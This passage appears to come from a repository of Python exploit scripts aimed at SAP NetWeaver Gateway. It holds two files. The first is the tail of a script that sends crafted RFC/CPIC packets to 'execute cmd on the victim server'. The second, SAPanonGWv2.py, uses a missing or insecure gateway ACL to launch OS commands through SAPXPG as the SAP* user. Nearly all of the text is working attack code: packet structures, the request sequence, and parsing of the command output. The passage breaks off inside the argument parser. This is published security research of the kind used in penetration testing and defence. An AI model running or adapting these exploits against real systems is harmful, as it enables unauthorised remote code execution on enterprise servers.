1\x4D\x53\x02\x01\x02\x03\x00\xFF\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x45\x52\x52\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x09\x53\x54\x44\x49\x4E\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x52\x02\x03\x02\x01\x00\x0A\x53\x54\x44\x4F\x55\x54\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x4D\x02\x03\x02\x01\x00\x08\x54\x45\x52\x4D\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x43\x02\x03\x02\x01\x00\x09\x54\x52\x41\x43\x45\x43\x4E\x54\x4C\x02\x01\x02\x03\x00\x01\x36\x02\x03\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x09\xCC\x00\x00\x6D\x60",
    "\x00\x00\x02\x31\x06\xCB\x03\x00\x00\x13\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xF4\x00\x00\x00\x00\x00\x00\x08\x00\x00\x85\x0C\x00\x00\x00\x00\x00\x00\x00\x00\x39\x33\x32\x30\x31\x38\x37\x35\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x01\x36\x00\x25\x01\x00\x0C\x29\x00\x99\xD0\x1E\xE3\xA0\xBA\x9A\xEC\xEA\x55\x80\x0A\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x00\x00\x02\x01\x36\x05\x02\x00\x00\x05\x02\x00\x0B\x00\x03\x37\x33\x31\x00\x0B\x01\x02\x00\x0E\x53\x41\x50\x58\x50\x47\x5F\x45\x4E\x44\x5F\x58\x50\x47\x01\x02\x05\x03\x00\x00\x05\x03\x05\x14\x00\x10\xE3\x81\xD5\x4E\xF6\x09\x19\xF1\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x05\x14\x04\x20\x00\x04\x00\x00\x00\x00\x04\x20\x05\x12\x00\x00\x05\x12\x02\x05\x00\x08\x45\x58\x49\x54\x43\x4F\x44\x45\x02\x05\x02\x05\x00\x08\x45\x58\x49\x54\x53\x54\x41\x54\x02\x05\x03\x01\x00\x03\x4C\x4F\x47\x03\x01\x03\x30\x00\x04\x00\x00\x00\x01\x03\x30\x03\x02\x00\x08\x00\x00\x00\x80\x00\x00\x00\x00\x03\x02\x01\x04\x01\x16\x10\x04\x02\x00\x0C\x00\x01\x87\x68\x00\x00\x04\x4C\x00\x00\x0B\xB8\x10\x04\x0B\x00\x20\xFF\x7F\xFA\x0D\x78\xB7\x37\xDE\xF6\x19\x6E\x93\x25\xBF\x15\x93\xEF\x73\xFE\xEB\xDB\x51\xED\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x04\x04\x00\x08\x00\x16\x00\x07\x00\x10\x00\x07\x10\x04\x0D\x00\x10\x00\x00\x00\x27\x00\x00\x01\x0C\x00\x00\x00\x35\x00\x00\x01\x0C\x10\x04\x16\x00\x02\x00\x11\x10\x04\x17\x00\x02\x00\x22\x10\x04\x19\x00\x02\x00\x00\x10\x04\x1E\x00\x08\x00\x00\x03\x67\x00\x00\x07\x58\x10\x04\x25\x00\x02\x00\x01\x10\x04\x09\x00\x03\x37\x32\x30\x10\x04\x1D\x00\x01\x30\x10\x04\x1F\x00\x28\x57\x69\x6E\x64\x6F\x77\x73\x20\x37\x20\x50\x72\x6F\x66\x65\x73\x73\x69\x6F\x6E\x61\x6C\x20\x36\x2E\x31\x20\x28\x37\x36\x30\x31\x29\x20\x53\x65\x72\x76\x69\x63\x10\x04\x20\x00\x12\x49\x45\x20\x39\x2E\x31\x30\x2E\x39\x32\x30\x30\x2E\x31\x36\x36\x31\x38\x10\x04\x21\x00\x09\x4F\x66\x66\x69\x63\x65\x20\x31\x32\x10\x04\x24\x00\x08\x00\x00\x04\x1A\x00\x00\x07\x80\x10\x04\x13\x00\x23\x02\xE1\xD4\x81\xE3\x0B\x21\xF1\x01\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x01\x37\xD5\x81\xE3\x88\x9A\xF1\x6B\xA0\x0A\x00\x0C\x29\x00\x99\xD0\x00\x01\x04\xFF\xFF\x00\x00\xFF\xFF\x00\x00\x01\xD9\x00\x00\x6D\x60"]



def run_cmd():  # execute cmd on the victim server
    print "[*] sending cmd:" + args.cmd
    if args.old:
        return RCE_gw_for_old_sustems()  # via gateway for old systems
    return RCE_gw()  # via gateway


def RCE_gw():  # RCE via GW
    c = args.cmd.split()
    param = args.cmd[len(c[0]) + 1:]
    cmd = c[0]
    result = exploit(cmd, param)
    if args.verb:
        print "[DBG] Run command:" + cmd + " " + param
        print "[*] Command result:" + trim_r(result)
    return trim_r(result)


def RCE_gw_for_old_sustems():  # RCE via GW for old systems ~640
    param = ""
    result = exploit(args.cmd, param)
    if args.verb:
        print "[DBG] Run command:" + args.cmd + " " + param
        print "[*] Command result:" + trim_r(result)
    return trim_r(result)


def exploit(cmd, param):  # create RCE request
    tmp = exploit_p[2]
    tmp1 = exploit_p[3]
    tmp = tmp.replace("a" * 128, space_fill(cmd, 1))  # insert command
    tmp = tmp.replace("b" * 255, space_fill(param, 2))  # insert param
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((args.target, args.port))
    send_req(s, exploit_p[0])
    conversation = re.search(ur"\d{8}", send_req(s, exploit_p[1]))
    send_req(s, tmp.replace("93201875", conversation.group()))
    result = send_req(s, tmp1.replace("93201875", conversation.group()))
    s.close()
    return result


def trim_r(str):  # trim a trash form the server response
    str_begin = str.find("\x02\x03\x04\x00") + 5
    str_end = str.find("\x20\x03\x04\x03\x36")
    if str_begin < 20:
        if args.verb:
            print "[!] Packet compression. Not supported."
        return ''
    if str_begin == -1:
        print "[!] Problem with server response parsing."
        print "[!] It's probably a size issue and server compressed it."
        return ''
    if str_end == -1:
        print "[!] End marker not detected. Cutting at the end."
        return str[str_begin:].replace('\x20\x03\x04\x03\x04\x00', '\n')
    return str[str_begin:str_end].replace('\x20\x03\x04\x03\x04\x00', '\n')


def send_req(s, message):  # send requests
    MESSAGE = message
    s.send(MESSAGE)
    data = s.recv(8192)
    if args.verb == 1:
        print "[DBG] Received data:", data
    return data


def space_fill(inpt, what):  # fill packets by \x20
    cmd_name_buff = 128
    param_buff = 255
    if what == 1:  # cmd name
        nop_cnt = cmd_name_buff - len(inpt)
        inpt = inpt + nop_cnt * "\x20"
        return inpt
    elif what == 2:  # param
        nop_cnt = param_buff - len(inpt)
        inpt = inpt + nop_cnt * "\x20"
        return inpt


print run_cmd()

================================================
FILE: SAPanonGWv2.py
================================================

#!/usr/bin/env python
# Dmitry @_chipik Chastuhin

from pysap.SAPRFC import SAPRFC, SAPRFCDTStruct, SAPCPIC, SAPRFCTHStruct, SAPRFXPG, SAPCPICSUFFIX, cpic_padd, SAPCPICPARAM, SAPCPICPARAM2, SAPRFCEXTEND, SAPCPIC2, SAPRFXPG_END
from ansicolor import red, green, blue, yellow, cyan, magenta
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPDiag import SAPDiag, SAPDiagItem
from scapy.supersocket import StreamSocket
from scapy.layers.inet import TCP
from scapy.packet import bind_layers, Raw
from scapy.all import hexdump, raw
from scapy.config import conf
from struct import *
import argparse
import logging
import socket
import sys

help_desc = '''
RCE via SAP GW when GW ACL sec_info missed (gw/acl_mode = 0) or has insecure configuration
-- chipik
'''

#####GLOBAL VALUES

cmd_lparams=''
cmd_params=''

# that's our target we want to pwn
attacked_gw = {"ip": '127.0.0.1',
               "gwport": 3300,
               "sid": 'DEV',
               "instance": '00',
               "hostname": 'NW703trial',
               "dest_name": 'T_75',
               "cli_nbr": '001',
               "kernel": '720'
               }

##########
def build_p1(ip, inbr):
    p1 = SAPRFC(version=2,
                req_type='GW_NORMAL_CLIENT',
                address=ip,
                service='sapgw{}'.format(inbr),
                codepage=4103,
                lu='sapserve',
                tp='sapgw{}'.format(inbr),
                conversation_id=' ' * 8,
                appc_header_version=6,
                accept_info='EINFO+PING+CONN_EINFO',
                idx=-1,
                )
    return p1


def build_p2():
    dt_structure = SAPRFCDTStruct(version=96,
                                  padd1='\x00\x00\x00\x00\x00\x00\x00\x00',
                                  root_id='\x0E\x02\x00\x00\x00\x00\xE8\x4D\x23\x00\xDF\x07\x00\x00\x01\x00',
                                  conn_id='\x4E\xD5\x81\xE3\x09\xF6\xF1\x18\xA0\x0A\x00\x0C\x29\x00\x99\xD0',
                                  conn_id_suff=0,
                                  timeout=-1,
                                  keepalive_timeout=-1,
                                  export_trace=2,
                                  start_type='DEFAULT',
                                  net_protocol=10,
                                  local_addrv6='::{}'.format(attacked_gw['ip']),
                                  long_lu=attacked_gw['ip'],
                                  padd3='\x00' * 16,
                                  user='SAP*',
                                  padd4='\x20' * 8,
                                  padd5='\x00' * 4,
                                  padd6='\x20' * 12,
                                  padd7='\x00' * 16,
                                  addr_ipv4=attacked_gw['ip'],
                                  padd8='\x00' * 4,
                                  long_tp='sapxpg',
                                  )

    ext_inf = SAPRFCEXTEND(short_dest_name=attacked_gw['dest_name'],
                ncpic_lu='172.16.0',
                ncpic_tp='sapxpg',
                ctype='STARTED_PRG',
                clientInfo=1,
                ncpic_parameters_padd='\x00\x00',
                comm_idx=0,
                conn_idx=65535,
    )

    p2 = SAPRFC(version=6,
                func_type='F_SAP_INIT',
                protocol='CPIC',
                mode=0,
                uid=19,
                gw_id=65535,
                err_len=0,
                info2='WITH_LONG_LU_NAME',
                trace_level=0,
                time=0,
                info3='GW_EXTENDED_INIT_OPTIONS+GW_DIST_TRACE',
                timeout=-1,
                info4=0,
                seq_no=0,
                sap_param_len=len(dt_structure),
                info='SYNC_CPIC_FUNCTION+WITH_HOSTADDR+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
                padd_appc=0,
                vector=0,
                appc_rc='CM_OK',
                sap_rc=0,
                sap_ext_header =ext_inf,
                sap_param=dt_structure,
                )
    #p2.show2()
    return p2


def buld_p3(conv_id):

    cpic_suf = SAPCPICSUFFIX(
        suff_padd1='\x10\x04\x02',
        suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
        suff_padd2='\x10\x04\x0b',
        suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
        suff_padd3='\x10\x04\x04',
        suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
        suff_padd4='\x10\x04\x0d',
        suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
        suff_padd5='\x10\x04\x16',
        suff_unk5='\x00\x11',
        suff_padd6='\x10\x04\x17',
        suff_unk6='\x00\x22',
        suff_padd7='\x10\x04\x19',
        suff_unk7='\x00\x00',
        suff_padd8='\x10\x04\x1e',
        suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
        suff_padd9='\x10\x04\x25',
        suff_unk9='\x00\x01',
        suff_padd10k='\x10\x04\x09',
        suff_kernel=attacked_gw['kernel'],
        suff_padd10='\x10\x04\x1d',
        suff_unk10='\x30',
        suff_padd11='\x10\x04\x1f',
        suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
        suff_padd12='\x10\x04\x20',
        suff_cli2='IE 9.10.9200.16618',
        suff_padd13='\x10\x04\x21',
        suff_cli3='Office 12',
        suff_padd14='\x10\x04\x24',
        suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
        suff_padd15='\x10\x04\x13',
        suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
    )

    xpg = SAPRFXPG(
        xpg_padd100='\x05\x12\x02\x05',
        xpg_convid_l='CONVID',
        xpg_padd101='\x02\x05\x02\x05',
        xpg_strstat_l='STRTSTAT',
        xpg_padd102='\x02\x05\x02\x05',
        xpg_xpgid_l='XPGID',
        xpg_padd103='\x02\x05\x02\x01',
        xpg_extprog_l='EXTPROG',
        xpg_padd104='\x02\x01\x02\x03',
        xpg_extprog_val='{: <128}'.format(cmd),
        xpg_padd105='\x02\x03\x02\x01',
        xpg_longparam_l='LONG_PARAMS',
        xpg_padd106='\x02\x01\x02\x03',
        xpg_longparam_val='{: <1024}'.format(cmd_lparams),
        xpg_padd107='\x02\x03\x02\x01',
        xpg_param_l='PARAMS',
        xpg_padd108='\x02\x01\x02\x03',
        xpg_param_val='{: <255}'.format(cmd_params),
        xpg_padd109='\x02\x03\x02\x01',
        xpg_stderrcntl_l='STDERRCNTL',
        xpg_padd110='\x02\x01\x02\x03',
        xpg_stderrcntl_val='M',
        xpg_padd111='\x02\x03\x02\x01',
        xpg_stdincntl_l='STDINCNTL',
        xpg_padd112='\x02\x01\x02\x03',
        xpg_stdincntl_val='R',
        xpg_padd113='\x02\x03\x02\x01',
        xpg_stdoutcntl_l='STDOUTCNTL',
        xpg_padd114='\x02\x01\x02\x03',
        xpg_stdoutcntl_val='M',
        xpg_padd115='\x02\x03\x02\x01',
        xpg_termcntl_l='TERMCNTL',
        xpg_padd116='\x02\x01\x02\x03',
        xpg_termcntl_val='C',
        xpg_padd117='\x02\x03\x02\x01',
        xpg_tracecntl_l='TRACECNTL',
        xpg_padd118='\x02\x01\x02\x03',
        xpg_tracecntl_val='6',
        xpg_padd119='\x02\x03\x03\x01',
        xpg_log_l='LOG',
        xpg_padd120='\x03\x01\x03\x30',
        xpg_log_val1='\x00\x00\x00\x01',
        xpg_padd121='\x03\x30\x03\x02',
        xpg_unk1='\x00\x00\x00\x80\x00\x00\x00\x00',
    )

    cpic_params = SAPCPICPARAM(
        param1='\x00\x99\xd0\x1e',
        param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
        param_sess_1='\x81\xe3', # session 1st part?
        param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
        mask='225.0.0.0',
        ip= attacked_gw['ip'],
        flag=1,
    )

    cpic_params2 = SAPCPICPARAM2(  #dunno why this values
        param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
        mask='160.10.0.12',
        ip= '41.0.153.208',
    )

    th = SAPRFCTHStruct(
        th_eyec1="*TH*",
        th_version=3,
        th_len=230,
        th_trace_flag=0,
        th_sysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
        th_serevice=1,
        th_userid='SAP*',
        th_action='SM49',
        th_acttype=1,
        th_presysid='{}/{}_{}_{}'.format(attacked_gw["sid"], attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),
        th_id='37D581E3889AF16DA00A000C290099D0001',
        th_some_cpic_params=cpic_params,
        th_eyec2="*TH*",

    )

    cpic = SAPCPIC(
        cpic_start_padd='\x01\x01\x00\x08',
        cpic_cpic_length=257,

        cpic_padd0003="\x01\x01\x01\x01",
        cpic_unk02="",

        cpic_padd0002="\x01\x01\x01\x03",
        cpic_unk01="\x00\x00\x06\x1b",

        cpic_padd0001="\x01\x03\x01\x06",
        cpic_unk00="\x04\x01\x00\x03\x01\x03\x02\x00\x00\x00\x23",

        cpic_padd001="\x01\x06\x00\x07",
        cpic_ip='{: <15}'.format(attacked_gw['ip']),

        cpic_padd002 = '\x00\x07\x00\x18',
        cpic_ip2=attacked_gw['ip'],

        cpic_padd003 = '\x00\x18\x00\x08',
        cpic_host_sid_inbr='{}_{}_{}'.format(attacked_gw['hostname'], attacked_gw['sid'], attacked_gw['instance']),

        cpic_padd004 = '\x00\x08\x00\x11',
        cpic_rfc_type='3',

        cpic_padd005 = '\x00\x11\x00\x13',
        cpic_kernel1 = '{} '.format(attacked_gw['kernel']),

        cpic_padd006='\x00\x13\x00\x12',
        cpic_kernel2='{} '.format(attacked_gw['kernel']),

        cpic_padd007='\x00\x12\x00\x06',
        cpic_dest=attacked_gw['dest_name'],

        cpic_padd008='\x00\x06\x01\x30',
        cpic_program='SAPLSSXP',

        cpic_padd009='\x01\x30\x01\x11',
        cpic_username1='SAP*',

        cpic_padd010='\x01\x11\x01\x14',
        cpic_cli_nbr1=attacked_gw['cli_nbr'],

        cpic_padd011='\x01\x14\x01\x15',
        cpic_unk1='E',

        cpic_padd012='\x01\x15\x00\x09',
        cpic_username2='SAP*',

        cpic_padd013='\x00\x09\x01\x34',
        cpic_cli_nbr2=attacked_gw['cli_nbr'],

        cpic_padd014='\x01\x34\x05\x01',
        cpic_unk2='\x01',

        cpic_padd015_0='\x05\x01',# <----
        cpic_padd015_1='\x01\x36',# <----
        some_cpic_params=cpic_params,

        cpic_padd016='\x01\x36\x05\x02',
        cpic_convid_label='',

        cpic_padd017='\x05\x02\x00\x0b',
        cpic_kernel3=attacked_gw['kernel'],

        cpic_padd018='\x00\x0b\x01\x02',
        cpic_RFC_f='SAPXPG_START_XPG_LONG',

        cpic_padd019='\x01\x02\x05\x03',
        cpic_unk4='',

        cpic_padd020='\x05\x03\x01\x31',
        cpic_th_struct=th,

        cpic_padd021='\x01\x31\x05\x14',
        some_cpic_params2=cpic_params2,

        cpic_padd022='\x05\x14\x04\x20',
        cpic_unk6='\x00\x00\x00\x00',

        cpic_padd023='\x04\x20\x05\x12',
        cpic_unk7='',

        xpg_p=xpg,

        cpic_padd024='\x03\x02\x01\x04',
        cpic_suff=cpic_suf,

        cpic_end_padd = '\x01\x04\xff\xff',
        cpic_end = '',
        cpic_end_sig='\xff\xff\x00\x00',
     )



    p3 = SAPRFC(version=6,
                func_type='F_SAP_SEND',
                protocol='CPIC',
                mode=0,
                uid=19,
                gw_id=1,
                err_len=0,
                info2=0,
                trace_level=0,
                time=0,
                info3=0,
                timeout=500,
                info4=0,
                seq_no=0,
                sap_param_len=8,
                padd_appc=0,
                info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
                vector='F_V_SEND_DATA+F_V_RECEIVE',
                appc_rc='CM_OK',
                sap_rc=0,
                conv_id=conv_id,
                cm_ok_padd='\x00'*31 + '\x02',
                sap_cpic=cpic,
                cpic_packet_size=len(cpic),
                rfc_packet_size=28000,
                )

    #p3.show2()
    return p3

def buld_p4(conv_id):

    cpic_params = SAPCPICPARAM(
        param1='\x00\x99\xd0\x1e',
        param2='\xe3\xa0\xba\x9a\xec\xea\x55\x80\x0a\x4e\xd5',
        param_sess_1='\x81\xe3', # session 1st part?
        param_sess_2='\x09\xf6\xf1\x18', # session 2nd part?
        mask='160.10.0.12',
        ip= '41.0.153.208',
        flag=2,
    )

    cpic_params2 = SAPCPICPARAM2(  #dunno why this values
        param1='\xe3\x81\xd5\x4e\xf6\x09\x19\xf1',
        mask='160.10.0.12',
        ip= '41.0.153.208',
    )

    sap_xpg_end = SAPRFXPG_END(
        xpg_end_padd001='\x05\x12\x02\x05',
        xpg_end_ecode_l='EXITCODE',
        xpg_end_padd002 = '\x02\x05\x02\x05',
        xpg_end_estat_l = 'STRTSTAT',
        xpg_end_padd003 = '\x02\x05\x03\x01',
        xpg_end_log_l = 'LOG',
        xpg_end_padd004= '\x03\x01\x03\x30',
        xpg_end_unk1 = '\x00\x00\x00\x01',
        xpg_end_padd005 = '\x03\x30\x03\x02',
        xpg_end_unk2 = '\x00\x00\x00\x80\x00\x00\x00\x00',
    )

    cpic_suf = SAPCPICSUFFIX(
        suff_padd1='\x10\x04\x02',
        suff_unk1='\x00\x01\x87\x68\x00\x00\x04\x4c\x00\x00\x0b\xb8',
        suff_padd2='\x10\x04\x0b',
        suff_unk2='\xff\x7f\xfa\x0d\x78\xb7\x27\xde\xf6\x19\x62\x93\x25\xbf\x15\x93\xef\x73\xfe\xeb\xdb\x51\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00',
        suff_padd3='\x10\x04\x04',
        suff_unk3='\x00\x16\x00\x07\x00\x10\x00\x07',
        suff_padd4='\x10\x04\x0d',
        suff_unk4='\x00\x00\x00\x27\x00\x00\x01\x0c\x00\x00\x00\x35\x00\x00\x01\x0c',
        suff_padd5='\x10\x04\x16',
        suff_unk5='\x00\x11',
        suff_padd6='\x10\x04\x17',
        suff_unk6='\x00\x22',
        suff_padd7='\x10\x04\x19',
        suff_unk7='\x00\x00',
        suff_padd8='\x10\x04\x1e',
        suff_unk8='\x00\x00\x03\x67\x00\x00\x07\x58',
        suff_padd9='\x10\x04\x25',
        suff_unk9='\x00\x01',
        suff_padd10k='\x10\x04\x09',
        suff_kernel=attacked_gw['kernel'],
        suff_padd10='\x10\x04\x1d',
        suff_unk10='\x30',
        suff_padd11='\x10\x04\x1f',
        suff_cli1='Windows 7 Professional 6.1 (7601) Servic',
        suff_padd12='\x10\x04\x20',
        suff_cli2='IE 9.10.9200.16618',
        suff_padd13='\x10\x04\x21',
        suff_cli3='Office 12',
        suff_padd14='\x10\x04\x24',
        suff_unk14='\x00\x00\x04\x1a\x00\x00\x07\x80',
        suff_padd15='\x10\x04\x13',
        suff_unk15='\x02\xe1\xd4\x81\xe3\x0b\x21\xf1\x01\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x01\x37\xd5\x81\xe3\x88\x9a\xf1\x6b\xa0\x0a\x00\x0c\x29\x00\x99\xd0\x00',
    )


    cpic2 = SAPCPIC2(
        cpic_padd015_1='\x01\x36',
        some_cpic_params=cpic_params,
        cpic_padd016='\x01\x36\x05\x02',
        cpic_convid_label='',
        cpic_padd017='\x05\x02\x00\x0b',
        cpic_kernel3=attacked_gw['kernel'],
        cpic_padd018 = '\x00\x0b\x01\x02',
        cpic_RFC_f='SAPXPG_END_XPG',
        cpic_padd019='\x01\x02\x05\x03',
        cpic_unk4='',
        cpic_padd021='\x05\x03\x05\x14',
        some_cpic_params2=cpic_params2,
        cpic_padd022='\x05\x14\x04\x20',
        cpic_unk6='\x00\x00\x00\x00',
        cpic_padd023='\x04\x20\x05\x12',
        cpic_unk7='',
        xpg_end = sap_xpg_end,
        cpic_padd024='\x03\x02\x01\x04',
        cpic_suff=cpic_suf,
        cpic_end_padd='\x01\x04\xff\xff',
        cpic_end='',
        cpic_end_sig='\xff\xff\x00\x00',
    )

    p4 = SAPRFC(version=6,
                func_type='F_SAP_SEND',
                protocol='CPIC',
                mode=0,
                uid=19,
                gw_id=1,
                err_len=0,
                info2=0,
                trace_level=0,
                time=0,
                info3=0,
                timeout=500,
                info4=0,
                seq_no=0,
                sap_param_len=8,
                padd_appc=0,
                info='SYNC_CPIC_FUNCTION+WITH_GW_SAP_PARAMS_HDR+R3_CPIC_LOGIN_WITH_TERM',
                vector='F_V_SEND_DATA+F_V_RECEIVE',
                appc_rc='CM_OK',
                sap_rc=0,
                conv_id=conv_id,
                cm_ok_padd='\x00' * 31 + '\x02',
                sap_cpic_cut=cpic2,
                cpic_packet_size=len(cpic2),
                rfc_packet_size=28000,
    )
    #p4.show2()
    return p4

def print_error(error_msg):
    err = error_msg.split('\x00')
    print 'Got Error!'
    print 'LOCATION: {}\n' \
          'ERROR: {}\n' \
          'TIME: {}\n' \
          'RELEASE: {}\n' \
          'COMPONENT: {}\n' \
          'VERSION: {}\n' \
          'RC: {}\n' \
          'MODULE: {}\n' \
          'LINE: {}\n' \
          'DETAILS: {}\n' \
          'COUNTER: {}\n'.format(err[15], err[2], err[10], err[5], err[4], err[6], err[3], err[7], err[8], err[9],
                                 err[14])


def gw_connect(gwhost, gwport, init_packet):
    try:
        s = SAPNIStreamSocket.get_nisocket(gwhost, gwport)
    except socket.error:
        logger.error("[!] Connection error to %s:%s" % (gwhost, gwport))
        exit(-1)
    logger.info('[+] Sending GW_NORMAL_CLIENT')
    r = s.sr(init_packet)
    handle_resp(r, "GW_NORMAL_CLIENT")
    return s


def init_logger(logname, level):
    # generic log conf
    logger = logging.getLogger(logname)
    logger.setLevel(level)
    console_format = logging.Formatter("[%(levelname)-5s] %(message)s")
    # console handler
    ch = logging.StreamHandler(sys.stdout)
    ch.setLevel(level)
    ch.setFormatter(console_format)
    logger.addHandler(ch)
    return logger


def handle_resp(r, pkt):
    logger.debug('Response on {}:\n{}'.format(pkt, r.show(dump=True)))
    if r[SAPRFC].error_msg:
        print_error(r[SAPRFC].error_msg)
    else:
        logger.info('Response: OK')


def parse_fields(pkt, lines):
    result=[]
    logger.debug("Starting decompression")
    d = SAPDiag()
    (sig, compressed_len) = unpack('>4sI', pkt[0:8])
    (uncompressed_len,) = unpack('<I', pkt[8:12])
    logger.debug("sig = {}, compressed_len = {}, uncompressed_len = {}".format(sig, compressed_len, uncompressed_len))
    rez=d.do_decompress(pkt[8:compressed_len],uncompressed_len)
    for i in range(lines):
        result.append(rez[128 * i:128 * i + 128])
    return result

def parce_answer(r):
    resp_lines=0
    resp_start=0
    resp_type = 0 # if more than 62 lines than sap use compression
    for field in r.repl:
        if field.start_padd == '\x03\x35\x03\x02':
            resp_lines=unpack('>i',r.repl[7].start_field1[4:])[0]
            resp_start=r.repl.index(field)+1
            if r.repl[resp_start].start_padd[2:] == '\x03\x05':
                resp_type = 'compressed'
            elif r.repl[resp_start].start_padd[2:] == '\x03\x04':
                resp_type = 'raw'
            else:
                print '[!] Error. Wrong resp_type'
            break
    logger.debug('Response parameters:\nlines = {}\ntype = {}\n'.format(resp_lines, resp_type))
    if not resp_lines and not resp_type:
        print '[!] Error. resp_lines = 0 or resp_type = 0'
        exit(0)
    result = []
    for resp in r.repl[resp_start:]:
        if resp.start_padd[2:] == '\x03\x05' or resp.start_padd[2:] == '\x03\x04':
            result.append(resp.start_field1)
    if resp_type == 'compressed':
        result=parse_fields(''.join(result),resp_lines)
    return '\n'.join(result)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
